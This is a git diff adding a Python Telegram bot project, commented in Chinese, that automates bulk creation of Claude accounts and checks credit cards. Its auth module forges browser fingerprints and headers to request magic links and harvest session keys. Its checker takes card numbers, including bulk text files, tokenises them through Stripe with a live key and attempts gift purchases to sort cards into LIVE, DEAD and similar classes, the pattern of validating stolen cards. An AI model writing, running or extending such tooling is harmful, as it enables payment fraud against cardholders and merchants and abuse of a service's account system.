diff --git a/.gitignore b/.gitignore index 8d08ea3..76b90f3 100644 --- a/.gitignore +++ b/.gitignore @@ -11,3 +11,5 @@ wheels/ accounts.txt cards.txt +config.toml +.claude/settings.local.json diff --git a/bot.py b/bot.py new file mode 100644 index 0000000..3a175da --- /dev/null +++ b/bot.py @@ -0,0 +1,658 @@ +""" +autoClaude Telegram Bot +基于 python-telegram-bot v21+ 的异步 Bot,封装 Claude 注册和 CC 检查流程。 +启动方式: uv run python bot.py +""" + +import asyncio +import logging +import random +import string +import time +import threading +from functools import wraps + +from telegram import Update, BotCommand +from telegram.ext import ( + Application, + CommandHandler, + MessageHandler, + ContextTypes, + filters, +) + +from config import ( + TG_BOT_TOKEN, + TG_ALLOWED_USERS, + MAIL_SYSTEMS, +) +from mail_service import MailPool, extract_magic_link +from stripe_token import StripeTokenizer +from gift_checker import GiftChecker +from claude_auth import attack_claude, finalize_login + +# --- 日志配置 --- +logging.basicConfig( + format="%(asctime)s - %(name)s - %(levelname)s - %(message)s", + level=logging.INFO, +) +logger = logging.getLogger(__name__) + +# --- 全局状态 --- +_task_lock = threading.Lock() +_task_running = False +_task_name = "" + + +# ============================================================ +# 工具函数 +# ============================================================ + +def restricted(func): + """权限控制装饰器:仅允许 TG_ALLOWED_USERS 中的用户使用""" + @wraps(func) + async def wrapper(update: Update, context: ContextTypes.DEFAULT_TYPE, *args, **kwargs): + user_id = update.effective_user.id + if TG_ALLOWED_USERS and user_id not in TG_ALLOWED_USERS: + await update.message.reply_text("⛔ 你没有权限使用此 Bot。") + return + return await func(update, context, *args, **kwargs) + return wrapper + + +def _set_task(name: str) -> bool: + """尝试设置任务锁,返回是否成功""" + global _task_running, _task_name + with _task_lock: + if _task_running: + return False + _task_running = True + _task_name = name + return True + + +def _clear_task(): + """释放任务锁""" + global _task_running, _task_name + with _task_lock: + _task_running = False + _task_name = "" + + +async def _edit_or_send(msg, text: str): + """安全地编辑消息,如果失败则发送新消息""" + try: + await msg.edit_text(text, parse_mode="HTML") + except Exception: + pass + + +# ============================================================ +# 命令处理 +# ============================================================ + +@restricted +async def cmd_start(update: Update, context: ContextTypes.DEFAULT_TYPE): + """/start — 欢迎信息""" + welcome = ( + "🤖 autoClaude Bot\n\n" + "可用命令:\n" + " /register [N] — 注册 Claude 账号(默认 1 个)\n" + " /check <卡号|月|年|CVC> — 单张 CC 检查\n" + " 📎 发送 .txt 文件 — 批量 CC 检查\n" + " /accounts — 查看已注册账号\n" + " /status — 当前任务状态\n" + " /help — 帮助\n\n" + f"👤 你的用户 ID: {update.effective_user.id}" + ) + await update.message.reply_text(welcome, parse_mode="HTML") + + +@restricted +async def cmd_help(update: Update, context: ContextTypes.DEFAULT_TYPE): + """/help — 命令列表""" + text = ( + "📖 命令说明\n\n" + "/register [N]\n" + " 注册 N 个 Claude 账号(默认 1)。\n" + " 流程:创建邮箱 → 发送 Magic Link → 等待邮件 → 交换 SessionKey\n" + " 注册结果自动保存到 accounts.txt\n\n" + "/check <CARD|MM|YY|CVC>\n" + " 单张信用卡检查。\n\n" + "📎 发送 .txt 文件\n" + " 批量 CC 检查,文件每行一张卡:\n" + " 卡号|月|年|CVC\n\n" + "/accounts\n" + " 列出 accounts.txt 中保存的所有账号。\n\n" + "/status\n" + " 查看当前是否有后台任务在运行。\n" + ) + await update.message.reply_text(text, parse_mode="HTML") + + +@restricted +async def cmd_status(update: Update, context: ContextTypes.DEFAULT_TYPE): + """/status — 查看任务状态""" + with _task_lock: + if _task_running: + await update.message.reply_text( + f"⏳ 当前任务:{_task_name}", + parse_mode="HTML", + ) + else: + await update.message.reply_text("✅ 当前无运行中的任务。") + + +@restricted +async def cmd_accounts(update: Update, context: ContextTypes.DEFAULT_TYPE): + """/accounts — 列出已注册账号""" + try: + with open("accounts.txt", "r") as f: + lines = [l.strip() for l in f if l.strip()] + except FileNotFoundError: + await update.message.reply_text("📭 尚无已注册账号(accounts.txt 不存在)。") + return + + if not lines: + await update.message.reply_text("📭 accounts.txt 为空。") + return + + text = f"📋 已注册账号(共 {len(lines)} 个)\n\n" + for i, line in enumerate(lines, 1): + parts = line.split("|") + email = parts[0] if len(parts) > 0 else "?" + sk = parts[1][:12] + "..." if len(parts) > 1 and len(parts[1]) > 12 else (parts[1] if len(parts) > 1 else "?") + text += f"{i}. {email}\n SK: {sk}\n" + + # Telegram 消息限制 4096 字符 + if len(text) > 4000: + text = text[:4000] + "\n...(已截断)" + + await update.message.reply_text(text, parse_mode="HTML") + + +# ============================================================ +# /register — 注册 Claude 账号 +# ============================================================ + +@restricted +async def cmd_register(update: Update, context: ContextTypes.DEFAULT_TYPE): + """/register [N] — 注册 Claude 账号""" + # 解析数量 + count = 1 + if context.args: + try: + count = int(context.args[0]) + if count < 1 or count > 20: + await update.message.reply_text("❌ 数量范围:1-20") + return + except ValueError: + await update.message.reply_text("❌ 用法:/register [数量]") + return + + if not _set_task(f"注册 {count} 个账号"): + await update.message.reply_text(f"⚠️ 已有任务在运行:{_task_name}") + return + + status_msg = await update.message.reply_text( + f"🚀 开始注册 {count} 个 Claude 账号...", + parse_mode="HTML", + ) + + # 在后台线程执行耗时操作 + loop = asyncio.get_event_loop() + threading.Thread( + target=_register_worker, + args=(loop, status_msg, count), + daemon=True, + ).start() + + +def _register_worker(loop: asyncio.AbstractEventLoop, status_msg, count: int): + """注册工作线程""" + results = {"success": 0, "fail": 0, "accounts": []} + + try: + # 初始化邮箱系统池 + asyncio.run_coroutine_threadsafe( + _edit_or_send(status_msg, "📧 正在连接邮件系统..."), + loop, + ).result(timeout=10) + + mail_pool = MailPool(MAIL_SYSTEMS) + if mail_pool.count == 0: + asyncio.run_coroutine_threadsafe( + _edit_or_send(status_msg, "❌ 没有可用的邮箱系统!"), + loop, + ).result(timeout=10) + return + + asyncio.run_coroutine_threadsafe( + _edit_or_send(status_msg, f"📧 邮箱系统就绪({mail_pool.count} 个)\n🚀 开始注册..."), + loop, + ).result(timeout=10) + + for i in range(count): + progress = f"[{i + 1}/{count}]" + + # Step 1: 创建邮箱(轮询选系统) + asyncio.run_coroutine_threadsafe( + _edit_or_send( + status_msg, + f"⏳ {progress} 创建临时邮箱...\n\n" + f"✅ 成功: {results['success']} ❌ 失败: {results['fail']}", + ), + loop, + ).result(timeout=10) + + random_prefix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=10)) + target_email, mail_sys = mail_pool.create_user(random_prefix) + + if not target_email or not mail_sys: + results["fail"] += 1 + continue + + # Step 2: 发送 Magic Link + asyncio.run_coroutine_threadsafe( + _edit_or_send( + status_msg, + f"⏳ {progress} 发送 Magic Link...\n" + f"📧 {target_email}\n\n" + f"✅ 成功: {results['success']} ❌ 失败: {results['fail']}", + ), + loop, + ).result(timeout=10) + + if not attack_claude(target_email): + results["fail"] += 1 + continue + + # Step 3: 等待邮件(使用创建时对应的系统) + asyncio.run_coroutine_threadsafe( + _edit_or_send( + status_msg, + f"⏳ {progress} 等待 Claude 邮件...\n" + f"📧 {target_email}\n\n" + f"✅ 成功: {results['success']} ❌ 失败: {results['fail']}", + ), + loop, + ).result(timeout=10) + + email_content = mail_sys.wait_for_email(target_email) + if not email_content: + results["fail"] += 1 + continue + + magic_link = extract_magic_link(email_content) + if not magic_link: + results["fail"] += 1 + continue + + # Step 4: 交换 SessionKey + asyncio.run_coroutine_threadsafe( + _edit_or_send( + status_msg, + f"⏳ {progress} 交换 SessionKey...\n" + f"📧 {target_email}\n\n" + f"✅ 成功: {results['success']} ❌ 失败: {results['fail']}", + ), + loop, + ).result(timeout=10) + + account = finalize_login(magic_link) + if account: + results["success"] += 1 + results["accounts"].append(account) + # 保存到文件 + with open("accounts.txt", "a") as f: + f.write(f"{account.email}|{account.session_key}|{account.org_uuid}\n") + else: + results["fail"] += 1 + + # 间隔防止限流 + if i < count - 1: + time.sleep(2) + + # 最终汇报 + report = ( + f"🏁 注册完成\n\n" + f"✅ 成功: {results['success']}\n" + f"❌ 失败: {results['fail']}\n" + ) + if results["accounts"]: + report += "\n新注册账号:\n" + for acc in results["accounts"]: + report += f"• {acc.email}\n" + + asyncio.run_coroutine_threadsafe( + _edit_or_send(status_msg, report), + loop, + ).result(timeout=10) + + except Exception as e: + logger.exception("注册任务异常") + asyncio.run_coroutine_threadsafe( + _edit_or_send(status_msg, f"💥 注册任务异常:{e}"), + loop, + ) + finally: + _clear_task() + + +# ============================================================ +# /check — CC 检查 +# ============================================================ + +@restricted +async def cmd_check(update: Update, context: ContextTypes.DEFAULT_TYPE): + """/check — CC 检查""" + if not context.args: + await update.message.reply_text( + "❌ 用法:/check 卡号|月|年|CVC\n" + "示例:/check 4111111111111111|12|2025|123", + parse_mode="HTML", + ) + return + + card_line = context.args[0] + parts = card_line.split("|") + if len(parts) != 4: + await update.message.reply_text("❌ 格式错误,需要:卡号|月|年|CVC", parse_mode="HTML") + return + + # 读取可用账号 + try: + with open("accounts.txt", "r") as f: + lines = [l.strip() for l in f if l.strip()] + except FileNotFoundError: + lines = [] + + if not lines: + await update.message.reply_text("❌ 没有可用账号,请先 /register 注册一个。") + return + + if not _set_task("CC 检查"): + await update.message.reply_text(f"⚠️ 已有任务在运行:{_task_name}") + return + + status_msg = await update.message.reply_text( + f"🔍 正在检查卡片:{parts[0][:4]}****{parts[0][-4:]}", + parse_mode="HTML", + ) + + loop = asyncio.get_event_loop() + threading.Thread( + target=_check_worker, + args=(loop, status_msg, card_line, lines[-1]), + daemon=True, + ).start() + + +def _check_worker(loop: asyncio.AbstractEventLoop, status_msg, card_line: str, account_line: str): + """CC 检查工作线程""" + try: + cc, mm, yy, cvc = card_line.split("|") + acc_parts = account_line.split("|") + email, session_key, org_uuid = acc_parts[0], acc_parts[1], acc_parts[2] + + from models import ClaudeAccount + from identity import random_ua + + account = ClaudeAccount(email, session_key, org_uuid, random_ua()) + masked = f"{cc[:4]}****{cc[-4:]}" + + # Step 1: Stripe Token + asyncio.run_coroutine_threadsafe( + _edit_or_send(status_msg, f"🔍 {masked}\n⏳ 获取 Stripe Token..."), + loop, + ).result(timeout=10) + + tokenizer = StripeTokenizer(account.user_agent) + pm_id = tokenizer.get_token(cc, mm, yy, cvc) + + if not pm_id: + asyncio.run_coroutine_threadsafe( + _edit_or_send(status_msg, f"🔍 {masked}\n❌ Stripe 拒绝,无法获取 Token"), + loop, + ).result(timeout=10) + return + + # Step 2: Gift Purchase + asyncio.run_coroutine_threadsafe( + _edit_or_send(status_msg, f"🔍 {masked}\n⏳ 尝试扣款验证..."), + loop, + ).result(timeout=10) + + checker = GiftChecker(account) + result = checker.purchase(pm_id) + + # 结果映射 + result_map = { + "LIVE": "💰 LIVE — 扣款成功!卡有效", + "DECLINED": "🚫 DECLINED — 被拒绝", + "INSUFFICIENT_FUNDS": "💸 INSUFFICIENT — 余额不足(卡有效)", + "CCN_LIVE": "🔶 CCN LIVE — 卡号有效但 CVC 错误", + "DEAD": "💀 DEAD — 无效卡", + "ERROR": "⚠️ ERROR — 检查出错", + } + result_text = result_map.get(result, f"❓ 未知结果:{result}") + + asyncio.run_coroutine_threadsafe( + _edit_or_send( + status_msg, + f"🔍 CC 检查结果\n\n" + f"卡片:{masked}\n" + f"结果:{result_text}", + ), + loop, + ).result(timeout=10) + + except Exception as e: + logger.exception("CC 检查异常") + asyncio.run_coroutine_threadsafe( + _edit_or_send(status_msg, f"💥 CC 检查异常:{e}"), + loop, + ) + finally: + _clear_task() + + +# ============================================================ +# 文件上传 — 批量 CC 检查 +# ============================================================ + +@restricted +async def handle_document(update: Update, context: ContextTypes.DEFAULT_TYPE): + """接收 .txt 文件进行批量 CC 检查""" + doc = update.message.document + + # 检查文件类型 + if not doc.file_name.endswith(".txt"): + await update.message.reply_text("❌ 仅支持 .txt 文件") + return + + # 检查文件大小(限制 1MB) + if doc.file_size > 1024 * 1024: + await update.message.reply_text("❌ 文件太大(最大 1MB)") + return + + # 读取可用账号 + try: + with open("accounts.txt", "r") as f: + acc_lines = [l.strip() for l in f if l.strip()] + except FileNotFoundError: + acc_lines = [] + + if not acc_lines: + await update.message.reply_text("❌ 没有可用账号,请先 /register 注册一个。") + return + + if not _set_task("批量 CC 检查"): + await update.message.reply_text(f"⚠️ 已有任务在运行:{_task_name}") + return + + # 下载文件 + status_msg = await update.message.reply_text("📥 正在下载文件...") + + try: + file = await doc.get_file() + file_bytes = await file.download_as_bytearray() + content = file_bytes.decode("utf-8", errors="ignore") + except Exception as e: + await _edit_or_send(status_msg, f"💥 下载文件失败:{e}") + _clear_task() + return + + # 解析卡片 + cards = [] + for line in content.splitlines(): + line = line.strip() + if line and not line.startswith("#"): + parts = line.split("|") + if len(parts) == 4: + cards.append(line) + + if not cards: + await _edit_or_send(status_msg, "❌ 文件中没有找到有效卡片。\n格式:卡号|月|年|CVC") + _clear_task() + return + + await _edit_or_send( + status_msg, + f"📋 读取到 {len(cards)} 张卡片,开始批量检查...", + ) + + # 后台线程执行 + loop = asyncio.get_event_loop() + threading.Thread( + target=_batch_check_worker, + args=(loop, status_msg, cards, acc_lines[-1]), + daemon=True, + ).start() + + +def _batch_check_worker(loop: asyncio.AbstractEventLoop, status_msg, cards: list, account_line: str): + """批量 CC 检查工作线程""" + from models import ClaudeAccount + from identity import random_ua + + results = [] + total = len(cards) + + try: + acc_parts = account_line.split("|") + email, session_key, org_uuid = acc_parts[0], acc_parts[1], acc_parts[2] + account = ClaudeAccount(email, session_key, org_uuid, random_ua()) + + tokenizer = StripeTokenizer(account.user_agent) + checker = GiftChecker(account) + + for i, card_line in enumerate(cards): + cc, mm, yy, cvc = card_line.split("|") + masked = f"{cc[:4]}****{cc[-4:]}" + + # 更新进度 + recent = "\n".join(results[-5:]) # 显示最近 5 条结果 + asyncio.run_coroutine_threadsafe( + _edit_or_send( + status_msg, + f"🔍 [{i + 1}/{total}] 检查中:{masked}\n\n" + + recent, + ), + loop, + ).result(timeout=10) + + # Stripe Token + pm_id = tokenizer.get_token(cc, mm, yy, cvc) + + if not pm_id: + results.append(f"❌ {masked} → Stripe 拒绝") + time.sleep(1) + continue + + # Gift Purchase + result = checker.purchase(pm_id) + + result_icons = { + "LIVE": "💰", "DECLINED": "🚫", + "INSUFFICIENT_FUNDS": "💸", "CCN_LIVE": "🔶", + "DEAD": "💀", "ERROR": "⚠️", + } + icon = result_icons.get(result, "❓") + results.append(f"{icon} {masked} → {result}") + + # 间隔防限流 + if i < total - 1: + time.sleep(2) + + # 最终汇报 + live = sum(1 for r in results if "LIVE" in r and "CCN" not in r) + dead = sum(1 for r in results if "DEAD" in r or "DECLINED" in r or "Stripe" in r) + other = total - live - dead + + report = ( + f"🏁 批量 CC 检查完成\n\n" + f"📊 共 {total} 张 | 💰 有效 {live} | 💀 无效 {dead} | ❓ 其他 {other}\n\n" + ) + report += "\n".join(results) + + # Telegram 消息限制 4096 + if len(report) > 4000: + report = report[:4000] + "\n...(已截断)" + + asyncio.run_coroutine_threadsafe( + _edit_or_send(status_msg, report), + loop, + ).result(timeout=10) + + except Exception as e: + logger.exception("批量 CC 检查异常") + asyncio.run_coroutine_threadsafe( + _edit_or_send(status_msg, f"💥 批量 CC 检查异常:{e}"), + loop, + ) + finally: + _clear_task() + + +# ============================================================ +# 启动 Bot +# ============================================================ + +async def post_init(application: Application): + """Bot 启动后设置命令菜单""" + commands = [ + BotCommand("start", "欢迎信息"), + BotCommand("register", "注册 Claude 账号 [数量]"), + BotCommand("check", "CC 检查 <卡号|月|年|CVC>"), + BotCommand("accounts", "查看已注册账号"), + BotCommand("status", "当前任务状态"), + BotCommand("help", "命令帮助"), + ] + await application.bot.set_my_commands(commands) + logger.info("Bot 命令菜单已设置") + + +def main(): + """启动 Bot""" + if TG_BOT_TOKEN == "your_bot_token_here": + print("❌ 请先在 config.toml 中设置 TG_BOT_TOKEN!") + return + + app = Application.builder().token(TG_BOT_TOKEN).post_init(post_init).build() + + # 注册命令 + app.add_handler(CommandHandler("start", cmd_start)) + app.add_handler(CommandHandler("help", cmd_help)) + app.add_handler(CommandHandler("register", cmd_register)) + app.add_handler(CommandHandler("check", cmd_check)) + app.add_handler(CommandHandler("accounts", cmd_accounts)) + app.add_handler(CommandHandler("status", cmd_status)) + app.add_handler(MessageHandler(filters.Document.ALL, handle_document)) + + logger.info("🤖 Bot 启动中...") + app.run_polling(allowed_updates=Update.ALL_TYPES) + + +if __name__ == "__main__": + main() diff --git a/claude_auth.py b/claude_auth.py new file mode 100644 index 0000000..ddbeb1e --- /dev/null +++ b/claude_auth.py @@ -0,0 +1,172 @@ +import uuid +import base64 +from curl_cffi import requests # 用于模拟指纹 + +from config import CLAUDE_URL +from models import ClaudeAccount +from identity import random_ua + + +def attack_claude(target_email): + """伪装成浏览器发起攻击""" + device_id = str(uuid.uuid4()) + ua = random_ua() + + headers = { + "Host": "claude.ai", + "Anthropic-Anonymous-Id": f"claudeai.v1.{uuid.uuid4()}", + "Sec-Ch-Ua-Full-Version-List": '"Google Chrome";v="143.0.7499.105", "Chromium";v="143.0.7499.105", "Not A(Brand";v="24.0.0.0"', + "Sec-Ch-Ua-Platform": '"Linux"', + "Sec-Ch-Ua": '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"', + "Baggage": "sentry-environment=production,sentry-release=ce5600af514463a166f4cd356a6afbc46ee5cd3d,sentry-public_key=58e9b9d0fc244061a1b54fe288b0e483,sentry-trace_id=7bdc872994f347d6b5a610a520f40401,sentry-org_id=1158394", + "Anthropic-Client-Sha": "ce5600af514463a166f4cd356a6afbc46ee5cd3d", + "Content-Type": "application/json", + "Anthropic-Client-Platform": "web_claude_ai", + "Anthropic-Device-Id": device_id, + "Anthropic-Client-Version": "1.0.0", + "User-Agent": ua, + "Origin": "https://claude.ai", + "Referer": "https://claude.ai/login?returnTo=%2Fonboarding", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9", + "Priority": "u=1, i" + } + + payload = { + "utc_offset": -480, + "email_address": target_email, + "login_intent": None, + "locale": "en-US", + "oauth_client_id": None, + "source": "claude" + } + + try: + print(f"[*] 正在向 Claude 发送 Magic Link 请求: {target_email}") + session = requests.Session() + response = session.post( + CLAUDE_URL, + json=payload, + headers=headers, + impersonate="chrome124" + ) + + if response.status_code == 200: + print("[+] 请求成功,Claude 已发信。") + return True + elif response.status_code == 429: + print("[-] 被限流了 (Rate Limited)。") + else: + print(f"[-] 请求失败 Code: {response.status_code}, Body: {response.text}") + + except Exception as e: + print(f"[-] 发生异常: {e}") + + return False + + +def finalize_login(magic_link_fragment): + """ + 完成最后一步:无需浏览器,直接交换 sessionKey。 + magic_link_fragment 格式: https://claude.ai/magic-link#token:base64_email + 返回 ClaudeAccount 对象 + """ + + # 1. 外科手术式拆解 Hash + if '#' in magic_link_fragment: + fragment = magic_link_fragment.split('#')[1] + else: + fragment = magic_link_fragment + + if ':' not in fragment: + print("[-] 链接格式错误: 找不到 token 和 email 的分隔符") + return None + + # 分割 nonce 和 base64_email + nonce, encoded_email = fragment.split(':', 1) + + try: + decoded_email = base64.b64decode(encoded_email).decode('utf-8') + print(f"[*] 解析成功 -> Email: {decoded_email} | Nonce: {nonce[:8]}...") + except: + print(f"[*] 解析成功 -> Nonce: {nonce[:8]}...") + + # 2. 构造最终 payload + verify_url = "https://claude.ai/api/auth/verify_magic_link" + + payload = { + "credentials": { + "method": "nonce", + "nonce": nonce, + "encoded_email_address": encoded_email + }, + "locale": "en-US", + "oauth_client_id": None, + "source": "claude" + } + + # 3. 伪造指纹头 + device_id = str(uuid.uuid4()) + ua = random_ua() + headers = { + "Host": "claude.ai", + "Content-Type": "application/json", + "Origin": "https://claude.ai", + "Referer": "https://claude.ai/magic-link", + "User-Agent": ua, + "Accept": "*/*", + "Accept-Language": "zh-CN,zh;q=0.9", + "Anthropic-Client-Version": "1.0.0", + "Anthropic-Client-Platform": "web_claude_ai", + "Anthropic-Device-Id": device_id, + "Sec-Fetch-Dest": "empty", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Site": "same-origin", + "Priority": "u=1, i" + } + + try: + print(f"[*] 正在交换 SessionKey...") + session = requests.Session() + response = session.post( + verify_url, + json=payload, + headers=headers, + impersonate="chrome124" + ) + + if response.status_code == 200: + data = response.json() + # 1. 提取 SessionKey + session_key = response.cookies.get("sessionKey") + + if not session_key: + for name, value in response.cookies.items(): + if name == "sessionKey": + session_key = value + break + + if not session_key: + print("[-] 请求成功 (200),但未在 Cookie 中找到 sessionKey。") + print(f"Response: {str(data)[:200]}...") + return None + + # 2. 提取 Org UUID + try: + org_uuid = data['account']['memberships'][0]['organization']['uuid'] + email = data['account']['email_address'] + print(f"[+] 登录成功。OrgID: {org_uuid}") + return ClaudeAccount(email, session_key, org_uuid, ua) + except KeyError as e: + print(f"[-] 无法提取 Organization UUID,结构可能变了: {e}") + print(f"Response keys: {data.keys() if isinstance(data, dict) else type(data)}") + return None + + else: + print(f"[-] 交换失败 Code: {response.status_code}") + print(f"Body: {response.text}") + return None + + except Exception as e: + print(f"[-] 发生异常: {e}") + return None diff --git a/config.py b/config.py new file mode 100644 index 0000000..42fe3db --- /dev/null +++ b/config.py @@ -0,0 +1,33 @@ +""" +配置加载器:从 config.toml 读取配置,对外暴露与原 config.py 相同的变量名。 +""" + +import sys +import tomllib +from pathlib import Path + +# --- 加载 TOML --- +_config_path = Path(__file__).parent / "config.toml" + +if not _config_path.exists(): + print("❌ 找不到 config.toml!") + print(" 请复制 config.toml.example 为 config.toml 并填入实际值:") + print(" copy config.toml.example config.toml") + sys.exit(1) + +with open(_config_path, "rb") as f: + _cfg = tomllib.load(f) + +# --- Claude --- +CLAUDE_URL: str = _cfg["claude"]["url"] + +# --- Stripe --- +STRIPE_PK: str = _cfg["stripe"]["pk"] +PRODUCT_ID: str = _cfg["stripe"]["product_id"] + +# --- Telegram Bot --- +TG_BOT_TOKEN: str = _cfg["telegram"]["bot_token"] +TG_ALLOWED_USERS: list[int] = _cfg["telegram"].get("allowed_users", []) + +# --- 邮箱系统 --- +MAIL_SYSTEMS: list[dict] = _cfg.get("mail", []) diff --git a/config.toml.example b/config.toml.example new file mode 100644 index 0000000..d272bb6 --- /dev/null +++ b/config.toml.example @@ -0,0 +1,33 @@ +# ============================================================ +# autoClaude 配置文件模板 +# 复制本文件为 config.toml 并填入实际值 +# ============================================================ + +# --- Claude --- +[claude] +url = "https://claude.ai/api/auth/send_magic_link" + +# --- Stripe --- +[stripe] +pk = "pk_live_51MExQ9BjIQrRQnuxA9s9ahUkfIUHPoc3NFNidarWIUhEpwuc1bdjSJU9medEpVjoP4kTUrV2G8QWdxi9GjRJMUri005KO5xdyD" +product_id = "prod_TXU4hGh2EDxASl" + +# --- Telegram Bot --- +[telegram] +bot_token = "your_bot_token_here" # @BotFather 获取 +allowed_users = [] # 允许使用的用户ID列表(空=不限制) + +# --- 邮箱系统(轮询使用,API 接口相同)--- +# 可添加多个 [[mail]] 块 + +[[mail]] +base_url = "https://mail.example.com/" +admin_email = "admin@example.com" +admin_pass = "your_password" +domains = ["example.com"] + +# [[mail]] +# base_url = "https://mail2.example.com/" +# admin_email = "admin@mail2.example.com" +# admin_pass = "pass2" +# domains = ["domain2.com", "domain3.com"] diff --git a/deploy.sh b/deploy.sh new file mode 100644 index 0000000..bb80af6 --- /dev/null +++ b/deploy.sh @@ -0,0 +1,170 @@ +#!/bin/bash +# ============================================================ +# autoClaude-TGbot 一键部署脚本 +# 用法: chmod +x deploy.sh && sudo ./deploy.sh +# ============================================================ + +set -e + +# --- 颜色 --- +RED='\033[0;31m' +GREEN='\033[0;32m' +YELLOW='\033[1;33m' +CYAN='\033[0;36m' +NC='\033[0m' + +info() { echo -e "${CYAN}[INFO]${NC} $1"; } +ok() { echo -e "${GREEN}[✔]${NC} $1"; } +warn() { echo -e "${YELLOW}[!]${NC} $1"; } +err() { echo -e "${RED}[✘]${NC} $1"; exit 1; } + +# --- 检查 root --- +if [ "$EUID" -ne 0 ]; then + err "请使用 sudo 运行: sudo ./deploy.sh" +fi + +# --- 变量 --- +APP_NAME="autoclaude-tgbot" +APP_DIR="$(cd "$(dirname "$0")" && pwd)" +SERVICE_FILE="/etc/systemd/system/${APP_NAME}.service" +RUN_USER="${SUDO_USER:-$(whoami)}" +RUN_GROUP="$(id -gn "$RUN_USER")" + +echo "" +echo -e "${CYAN}╔══════════════════════════════════════════╗${NC}" +echo -e "${CYAN}║ autoClaude-TGbot 一键部署 ║${NC}" +echo -e "${CYAN}╚══════════════════════════════════════════╝${NC}" +echo "" +info "项目目录: ${APP_DIR}" +info "运行用户: ${RUN_USER}" +echo "" + +# ============================================================ +# 1. 安装系统依赖 +# ============================================================ +info "检查系统依赖..." + +# 安装 uv(如果不存在) +if ! command -v uv &> /dev/null; then + info "安装 uv..." + curl -LsSf https://astral.sh/uv/install.sh | sh + export PATH="$HOME/.local/bin:$PATH" + ok "uv 已安装" +else + ok "uv 已存在 ($(uv --version))" +fi + +# ============================================================ +# 2. 安装 Python 依赖 +# ============================================================ +info "安装 Python 依赖..." +cd "$APP_DIR" +sudo -u "$RUN_USER" uv sync 2>/dev/null || sudo -u "$RUN_USER" uv pip install -r pyproject.toml 2>/dev/null || true +ok "依赖安装完成" + +# ============================================================ +# 3. 检查配置文件 +# ============================================================ +if [ ! -f "${APP_DIR}/config.toml" ]; then + warn "config.toml 不存在,从模板复制..." + cp "${APP_DIR}/config.toml.example" "${APP_DIR}/config.toml" + chown "$RUN_USER:$RUN_GROUP" "${APP_DIR}/config.toml" + echo "" + echo -e "${YELLOW}════════════════════════════════════════════${NC}" + echo -e "${YELLOW} ⚠️ 请编辑 config.toml 填入实际配置:${NC}" + echo -e "${YELLOW} nano ${APP_DIR}/config.toml${NC}" + echo -e "${YELLOW}════════════════════════════════════════════${NC}" + echo "" + read -p "编辑完成后按 Enter 继续,或 Ctrl+C 退出..." _ +else + ok "config.toml 已存在" +fi + +# ============================================================ +# 4. 获取 uv 和 python 路径 +# ============================================================ +UV_PATH="$(sudo -u "$RUN_USER" bash -c 'which uv')" +info "uv 路径: ${UV_PATH}" + +# ============================================================ +# 5. 创建 systemd 服务 +# ============================================================ +info "创建 systemd 服务: ${APP_NAME}" + +cat > "$SERVICE_FILE" < str: + """随机返回一个 User-Agent""" + return random.choice(UA_LIST) + + +def random_address() -> dict: + """生成一个随机的美国地址""" + return { + "line1": fake.street_address(), + "city": fake.city(), + "state": fake.state_abbr(), + "postal_code": fake.zipcode(), + "country": "US", + } + + +def random_name() -> str: + """生成一个随机的英文姓名""" + return fake.name() diff --git a/mail_service.py b/mail_service.py new file mode 100644 index 0000000..468ef1c --- /dev/null +++ b/mail_service.py @@ -0,0 +1,173 @@ +import time +import re +import random +import threading +import requests as standard_requests # 用于普通API交互 + + +class MailSystem: + """单个邮箱系统实例,支持多域名""" + + def __init__(self, base_url, admin_email, admin_password, domains): + self.base_url = base_url + self.domains = domains # 该系统支持的域名列表 + self.token = self._get_token(admin_email, admin_password) + self.headers = {"Authorization": self.token} + + def _get_token(self, email, password): + """获取身份令牌,这是我们的通行证""" + url = f"{self.base_url}/api/public/genToken" + payload = {"email": email, "password": password} + try: + resp = standard_requests.post(url, json=payload) + data = resp.json() + if data['code'] == 200: + print(f"[+] 令牌获取成功 ({self.base_url}): {data['data']['token'][:10]}...") + return data['data']['token'] + else: + raise Exception(f"获取Token失败: {data}") + except Exception as e: + print(f"[-] 连接邮件系统失败 ({self.base_url}): {e}") + return None + + def create_user(self, email_prefix, domain=None): + """在系统里注册一个新邮箱用户""" + if domain is None: + domain = random.choice(self.domains) + full_email = f"{email_prefix}@{domain}" + url = f"{self.base_url}/api/public/addUser" + payload = { + "list": [ + { + "email": full_email, + "password": "random_pass_ignoring_this" + } + ] + } + resp = standard_requests.post(url, json=payload, headers=self.headers) + if resp.json().get('code') == 200: + print(f"[+] 邮箱用户创建成功: {full_email}") + return full_email + else: + print(f"[-] 创建邮箱失败: {resp.text}") + return None + + def wait_for_email(self, to_email, retry_count=20, sleep_time=3): + """像猎人一样耐心等待猎物出现""" + url = f"{self.base_url}/api/public/emailList" + payload = { + "toEmail": to_email, + "sendName": "Anthropic", + "num": 1, + "size": 10, + "timeSort": "desc" + } + + print(f"[*] 开始轮询邮件,目标: {to_email}...") + + for i in range(retry_count): + try: + resp = standard_requests.post(url, json=payload, headers=self.headers) + data = resp.json() + + if data.get('code') == 200 and data.get('data'): + emails = data['data'] + for email in emails: + print(f"[!] 捕获到邮件! 主题: {email.get('subject')}") + return email.get('content') or email.get('text') + + print(f"[*] 轮询中 ({i+1}/{retry_count})...") + time.sleep(sleep_time) + except Exception as e: + print(f"[-] 轮询出错: {e}") + time.sleep(sleep_time) + + print("[-] 等待超时,未收到邮件。") + return None + + def __repr__(self): + return f"MailSystem({self.base_url}, domains={self.domains})" + + +class MailPool: + """多邮箱系统轮询调度器""" + + def __init__(self, mail_configs: list[dict]): + """ + mail_configs: config.MAIL_SYSTEMS 格式的列表 + """ + self.systems: list[MailSystem] = [] + self._index = 0 + self._lock = threading.Lock() + + for cfg in mail_configs: + ms = MailSystem( + base_url=cfg["base_url"], + admin_email=cfg["admin_email"], + admin_password=cfg["admin_pass"], + domains=cfg["domains"], + ) + if ms.token: # 只添加连接成功的系统 + self.systems.append(ms) + else: + print(f"[!] 跳过连接失败的邮箱系统: {cfg['base_url']}") + + if not self.systems: + print("[-] 没有可用的邮箱系统!") + + print(f"[+] MailPool 初始化完成,可用系统: {len(self.systems)} 个") + + def next(self) -> MailSystem | None: + """Round-robin 返回下一个系统""" + if not self.systems: + return None + with self._lock: + ms = self.systems[self._index % len(self.systems)] + self._index += 1 + return ms + + def create_user(self, email_prefix) -> tuple[str | None, MailSystem | None]: + """ 